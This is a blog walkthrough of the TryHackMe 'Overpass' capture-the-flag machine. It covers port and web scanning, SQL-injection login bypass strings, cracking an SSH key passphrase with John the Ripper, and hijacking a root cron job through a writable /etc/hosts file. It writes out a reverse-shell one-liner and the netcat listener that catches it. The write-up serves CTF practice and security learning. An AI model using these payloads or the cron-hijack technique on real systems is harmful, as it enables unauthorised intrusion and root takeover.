Overpass
All this server setup has been great fun, and I'm nearly to the point where I can start doing some fun stuff with my home lab... but I really miss CTF's so I'm going to spend the next little while getting my head back into the pentesting game with some lovely, CTFs!
Summarized Walk Through
Enumeration
Discover SSH and HTTP Services with nmap:
$ export TARGET=10.10.33.249
$ sudo nmap -n $TARGET
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
...
Discover admin endpoint with Nikto:
$ nikto --host $TARGET --port 80
...
+ OSVDB-3092: /admin.html: This might be interesting...
+ OSVDB-3092: /admin/: This might be interesting...
...
SQL Injection at Admin Login
Username: anything
Password: “or 1=1;%00
Crack SSH key Password
Hash the key:
$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
..downloads..
$ python ssh2john.py ssh.key > ssh.hash
Crack the Password:
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
...
james13 (ssh.key)
...
User Flag
SSH using the cracked key:
$ ssh -i ssh.key 10.10.33.249
$ james@overpass-prod:~$ cat user.txt
thm{xxxx}
Privilege Escalation
Discover Cronjob running as root, executing a remote script:
james@overpass-prod:~$ cat /etc/crontab
...
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
Find that we can write /etc/hosts
:
james@overpass-prod:/$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
Edit /etc/hosts
to point to our machine:
james@overpass-prod:/$ cat /etc/hosts
<YOUR_IP> overpass.thm
Host a reverse shell script on our machine:
$ echo "sh -i >& /dev/udp/10.0.0.1/4444 0>&1" > shell.sh
$ mkdir -p downloads/src/buildscript.sh
$ python -m SimpleHTTPServer 80
Start listener and wait for root shell, capturing the root flag:
$ nc -nlvp 4444
listening on [any] 4444 ...
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{XXX}
Thought Process
Enumeration
Following my CTF Playbook
$ export TARGET=10.10.33.249
$ sudo nmap -n $TARGET
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 14:46 EDT
Nmap scan report for 10.10.33.249
Host is up (0.10s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
$ nikto --host $TARGET --port 80
nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.33.249
+ Target Hostname: 10.10.33.249
+ Target Port: 80
+ Start Time: 2021-08-09 14:58:31 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /admin.html: This might be interesting...
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /downloads/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Operation now in progress
+ Scan terminated: 20 error(s) and 8 item(s) reported on remote host
+ End Time: 2021-08-09 15:08:45 (GMT-4) (614 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Alright well - seems like the next step is to fire up Burp and check out that web server!
Burp
Intended Use
There's not a whole lot going on from root, the only interesting thing is the download so let's check that out first. The downloads appear to work, testing with curl, and the source code is available. This may also be a directory traversal vector or an Arbitrary file read. Let's come back to this.
Admin Page
Nikto found us an Admin page, let's check that out... Okay, we can try brute-forcing this if we get desperate. First, let's look at the .js handling the login and see if there's any hints.
...
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Nothing immediately useful, but we know there's an API running at /api
with endpoint /api/login
. Let's quickly try some SQL injection login bypassing...
- 'or1=1
- or 1=1--
- or 1=1/*
- ‘or 1=1;%00 (This one printed out incorrect credentials, the others had no response)
- “or 1=1;%00 (Worked!) Perfect, an SSH key. We should be able to get a nice pretty shell on the system now!
SSH Access
$ echo "<KEY>" > ssh.key
$ chmod 600 ssh.key
$ chmod 700 .
$ ssh -i ssh.key 10.10.33.249 130 ⨯
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key':
Ah, if I spent enough time to read the page I got to, I would have already started trying to crack this.
Cracking Key
First, we need to hash the key:
$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
..downloads..
$ python ssh2john.py ssh.key > ssh.hash
$ cat ssh.hash
ssh.key:$sshng$1$16$9F85D92F34F42626F13A7493AB48F337$1200$2cdbb9c10041cfba4a67771ce135a5c4852e0ffa29262d435693dad3aa708871e17bc663c37feffb19e6b52dcefaa88d2479cb4bca14551e929a8b30e29a8b19c3f70302afaf30d6b70db270eee635d36ccf02e9deeb68ec435d4c86f3bc96a5ef7fde50df64605d2e6bdad90ba9b0a08da21bab1d94d2f866ab1863baebbc3c5e099264833406ce407dc0a830d658d3583cb2f2a9dc963ba03887fc42b1e8a37d06bfe74031f8a94d2478dc518167f1e16b88c3ca45173f43efb85c936d576f04c5e6af7c6e2a407a23a93f8cb8ea59c2eb84f592d2a449ef5f06feef1ca985f7a0998cd0ea378e0a17617c5ec0649900be5b2d0161649346a19f8de671ce965d4e065d6d9ac50847060aef04fff64bd488bdeb8640544615486e3daa887c51dcac264b80e6e003ada0f4c802657268a9825a8a5fea57b5fb0cd9fd4a6b3420207864e564a5ff8e8aee5bb649b8051f0016d12cbc0554f3206a1ac1a7abd17cd1024b1ced6c59973e8570bd6450f7c67ea7c3223a845e6fb25fbaccba1af66455f5b68299a402bf320d0ca752e92859ec4f7831d6892960d644492ab40fec60aea6f5bfaff61cd5198d4dfcd3e5e7913a450e4ccaa67772e3d3bc842f26af9411ebcf9149bf33ccdeb8a647012c97c187d75d43e0be6b00a55cbac745720f0ff4142e9166f35591db690b401951b2d05289bf55a103ea634cbab053e735e5617b10d6f70e6e6a754a124a53f3463cde79a3c6e4ee14f45ab465a60f90c972242cd1569e370dee0a2a4c8ee4543ec52c5c7b7156d1beb7fbc4448188ab386719e13040a58faecf7e095def2312586b295f71c3fef31b62e890a3279631b6605200a6bf7d9d915566cd5738508291c33c18585ea13e32170ad7854d5f8d08d6fdc47491b84ebfb45f579c7b2f7eb1dd9b827c17655a4b7f8763399e8c2371b6277b1c4eb8e76a75acd38eb5cec913723ad605f563cb84b4476a9040917cef352384441dd325c6bcc9d6cab326ac7421b20083d7e766e2a01943860f0398f0294750b5cd16304f52c414ab7b28a01aa206f0dc6e6b692cc1e78310a57e962fec24ea9effc0e5fa58ca35325905f793370bb7713c512ca4b1dfa41c5fdaacacf4ca81b1dd2b2e45e8611ea0a5b19b016e7c74f9b9d4c7a41c3f9678ff284d8188e0f5424bf585f94f741adcb452683223da9fc4c548bb505c98987387c81db53d229f42f3e69298fab2f175468003d295c05b1d8979d78c7104d54c270eaaabbe006ebd7e8dbb1fa17e05e2f41b32ebca93f0789429312cba472ffc86072b5b3e530fc7e405ad26c166590b376f0f98e22c3e60b66899703813bcb13d7c9f5a6e0ae05320de78347b8ffb1d160949a5cb40e29e37071ffcb5b9762a4eec39818d52ec0bc7b227cba37aeb4ffc6700e65eb3ca5aa294e823e3eca24bcd7790d4e30893b0291b178368ca6e745af1bedd491cfb6836552e9267132f5b867e9aed6b52e3d4f14e88b9dd9075e3ea2e8242f8b2f272618211b908eb52689ead701d99b605f708a68662df7a5acc7287ce1d15b6fa12f5907953b49654f198f663663785deb244d25c220083ae62db9fd0b933477b83487606515a24864e6034ba27a624d9c5a4fcc967efe3a1000a40bc304a54ceff2c647dfec54f71e128b3a1d37c15db9ac895f9ea05cd4b6e8edca6bfc53b
Then, we can use John to attempt cracking:
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
james13 (ssh.key)
1g 0:00:00:03 DONE (2021-08-09 15:35) 0.2865g/s 4109Kp/s 4109Kc/s 4109KC/sa6_123..*7¡Vamos!
Session completed
Almost instant match...
Access
$ ssh -i ssh.key 10.10.33.249
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key':
root@10.10.33.249\'s password:
$ ssh -i ssh.key james@10.10.33.249
load pubkey "ssh.key": invalid format
Enter passphrase for key 'ssh.key':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Aug 9 19:36:03 UTC 2021
System load: 0.0 Processes: 87
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.33.249
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
Privilege Escalation
Boy was this box ever slow... I really wish tryhackme would provide a download so we could host these boxes ourselves...
$ ls -al
james@overpass-prod:~$ ls -al
total 48
drwxr-xr-x 6 james james 4096 Jun 27 2020 .
drwxr-xr-x 4 root root 4096 Jun 27 2020 ..
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27 2020 .bashrc
drwx------ 2 james james 4096 Jun 27 2020 .cache
drwx------ 3 james james 4096 Jun 27 2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27 2020 .local
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4096 Jun 27 2020 .ssh
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
james@overpass-prod:~$ cat user.txt
thm{xxxx}
james@overpass-prod:~$ cat todo.txt
To Do:
> Update Overpass\' Encryption, Muirland has been complaining that it\'s not strong enough
> Write down my password somewhere on a sticky note so that I don\'t forget it.
Wait, we make a password manager. Why don\'t I just use that?
> Test Overpass for macOS, it builds fine but I\'m not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They\'re not updating on the website
Alright so, that's a huge hint. Their encryption is weak, and the admin uses it himself so I should be able to find the database on the system somewhere and crack his password to get root on the box. Note: Every time I hit the up arrow in the bash shell, the box resets. That could be useful if there's a cronjob I need to exploit or something of that nature. Poking around...
james@overpass-prod:~$ ps -aux | grep root
root 1 0.0 0.9 159600 9088 ? Ss 18:15 0:03 /sbin/init maybe-ubiquity
root 2 0.0 0.0 0 0 ? S 18:15 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 18:15 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 18:15 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 18:15 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 18:15 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 18:15 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 18:15 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 18:15 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 18:15 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 18:15 0:00 [kdevtmpfs]
root 14 0.0 0.0 0 0 ? I< 18:15 0:00 [netns]
root 15 0.0 0.0 0 0 ? S 18:15 0:00 [rcu_tasks_kthre]
root 16 0.0 0.0 0 0 ? S 18:15 0:00 [kauditd]
root 17 0.0 0.0 0 0 ? S 18:15 0:00 [xenbus]
root 18 0.0 0.0 0 0 ? S 18:15 0:00 [xenwatch]
root 19 0.0 0.0 0 0 ? I 18:15 0:00 [kworker/0:1]
root 20 0.0 0.0 0 0 ? S 18:15 0:00 [khungtaskd]
root 21 0.0 0.0 0 0 ? S 18:15 0:00 [oom_reaper]
root 22 0.0 0.0 0 0 ? I< 18:15 0:00 [writeback]
root 23 0.0 0.0 0 0 ? S 18:15 0:00 [kcompactd0]
root 24 0.0 0.0 0 0 ? SN 18:15 0:00 [ksmd]
root 25 0.0 0.0 0 0 ? SN 18:15 0:00 [khugepaged]
root 26 0.0 0.0 0 0 ? I< 18:15 0:00 [crypto]
root 27 0.0 0.0 0 0 ? I< 18:15 0:00 [kintegrityd]
root 28 0.0 0.0 0 0 ? I< 18:15 0:00 [kblockd]
root 29 0.0 0.0 0 0 ? I< 18:15 0:00 [ata_sff]
root 30 0.0 0.0 0 0 ? I< 18:15 0:00 [md]
root 31 0.0 0.0 0 0 ? I< 18:15 0:00 [edac-poller]
root 32 0.0 0.0 0 0 ? I< 18:15 0:00 [devfreq_wq]
root 33 0.0 0.0 0 0 ? I< 18:15 0:00 [watchdogd]
root 36 0.0 0.0 0 0 ? S 18:15 0:00 [kswapd0]
root 37 0.0 0.0 0 0 ? I< 18:15 0:00 [kworker/u31:0]
root 38 0.0 0.0 0 0 ? S 18:15 0:00 [ecryptfs-kthrea]
root 80 0.0 0.0 0 0 ? I< 18:15 0:00 [kthrotld]
root 81 0.0 0.0 0 0 ? I< 18:15 0:00 [acpi_thermal_pm]
root 82 0.0 0.0 0 0 ? S 18:15 0:00 [scsi_eh_0]
root 83 0.0 0.0 0 0 ? I< 18:15 0:00 [scsi_tmf_0]
root 84 0.0 0.0 0 0 ? S 18:15 0:00 [scsi_eh_1]
root 85 0.0 0.0 0 0 ? I< 18:15 0:00 [scsi_tmf_1]
root 90 0.0 0.0 0 0 ? I< 18:15 0:00 [ipv6_addrconf]
root 99 0.0 0.0 0 0 ? I< 18:15 0:00 [kstrp]
root 116 0.0 0.0 0 0 ? I< 18:15 0:00 [charger_manager]
root 181 0.0 0.0 0 0 ? I< 18:15 0:00 [ttm_swap]
root 211 0.0 0.0 0 0 ? I< 18:15 0:00 [kdmflush]
root 212 0.0 0.0 0 0 ? I< 18:15 0:00 [bioset]
root 272 0.0 0.0 0 0 ? I 18:15 0:00 [kworker/0:3]
root 280 0.0 0.0 0 0 ? I< 18:15 0:00 [raid5wq]
root 333 0.0 0.0 0 0 ? S 18:15 0:00 [jbd2/dm-0-8]
root 334 0.0 0.0 0 0 ? I< 18:15 0:00 [ext4-rsv-conver]
root 383 0.0 0.0 0 0 ? I< 18:15 0:00 [kworker/0:1H]
root 405 0.0 1.6 127684 16908 ? S<s 18:15 0:00 /lib/systemd/systemd-journald
root 407 0.0 0.0 0 0 ? I< 18:15 0:00 [iscsi_eh]
root 421 0.0 0.0 0 0 ? I< 18:15 0:00 [ib-comp-wq]
root 422 0.0 0.0 0 0 ? I< 18:15 0:00 [ib-comp-unb-wq]
root 423 0.0 0.0 0 0 ? I< 18:15 0:00 [ib_mcast]
root 424 0.0 0.0 0 0 ? I< 18:15 0:00 [ib_nl_sa_wq]
root 426 0.0 0.0 0 0 ? I< 18:15 0:00 [rdma_cm]
root 429 0.0 0.1 105904 1756 ? Ss 18:15 0:00 /sbin/lvmetad -f
root 435 0.0 0.5 46724 5628 ? Ss 18:15 0:00 /lib/systemd/systemd-udevd
root 516 0.0 0.0 0 0 ? S 18:15 0:00 [jbd2/xvda2-8]
root 517 0.0 0.0 0 0 ? I< 18:15 0:00 [ext4-rsv-conver]
root 613 0.0 0.6 70592 6080 ? Ss 18:15 0:00 /lib/systemd/systemd-logind
root 614 0.0 0.6 286352 6836 ? Ssl 18:15 0:00 /usr/lib/accountsservice/accounts-daemon
root 622 0.0 1.7 169188 17064 ? Ssl 18:15 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 624 0.0 0.3 30104 3124 ? Ss 18:15 0:00 /usr/sbin/cron -f
root 646 0.0 0.7 291396 7340 ? Ssl 18:15 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 654 0.0 2.0 186032 20248 ? Ssl 18:15 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 669 0.0 0.6 72300 6576 ? Ss 18:15 0:00 /usr/sbin/sshd -D
root 671 0.0 0.2 14768 2340 ttyS0 Ss+ 18:15 0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
root 684 0.0 0.1 13244 1976 tty1 Ss+ 18:15 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 2732 0.0 0.7 107988 7308 ? Ss 19:36 0:00 sshd: james [priv]
root 2900 0.0 0.0 0 0 ? I 19:36 0:00 [kworker/u30:1]
root 3127 0.0 0.0 0 0 ? I 19:42 0:00 [kworker/u30:0]
root 3175 0.0 0.7 107988 7140 ? Ss 19:44 0:00 sshd: james [priv]
root 3339 0.0 0.7 107988 7168 ? Ss 19:47 0:00 sshd: james [priv]
root 3480 0.0 0.0 0 0 ? I 19:49 0:00 [kworker/u30:2]
root 3504 0.0 0.7 107988 7356 ? Ss 19:50 0:00 sshd: james [priv]
james 3589 0.0 0.1 13212 1048 pts/3 S+ 19:50 0:00 grep --color=auto root
I also noticed a hash in james home dir:
james@overpass-prod:~$ cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.
Nothing in crack station though... Looks like some cronjobs running as root, let's take a look in that area since we've gotten two pushes towards that realm now:
james@overpass-prod:~$ crontab -l
no crontab for james
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
Okay this is great, it's executing a script from overpass.thm as root that it downloads frequently... Can we control that domain?
james@overpass-prod:/$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
Yep we can write to /etc/hosts... So:
- Write a reverse shell script
- Host it on attacking machine
- Change overpass.thm -> my machine
- Host the script at /downloads/src/buildscript.sh
- Win Reverse Shell
# On Attack machine
$ nc -nlvp 4444
listening on [any] 4444 ...
# Script
$ echo "sh -i >& /dev/udp/10.0.0.1/4444 0>&1" > shell.sh
Edit /etc/hosts on target:
james@overpass-prod:/$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
<YOUR_IP> overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Host the malicious script:
# Create the correct directory structure
$ tree
.
├── connect_try_hack_me.sh
├── downloads
│ └── src
│ └── buildscript.sh
└── shell.sh
# Host with python
$ sudo python -m SimpleHTTPServer 80
Wait... And we win!
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{XXX}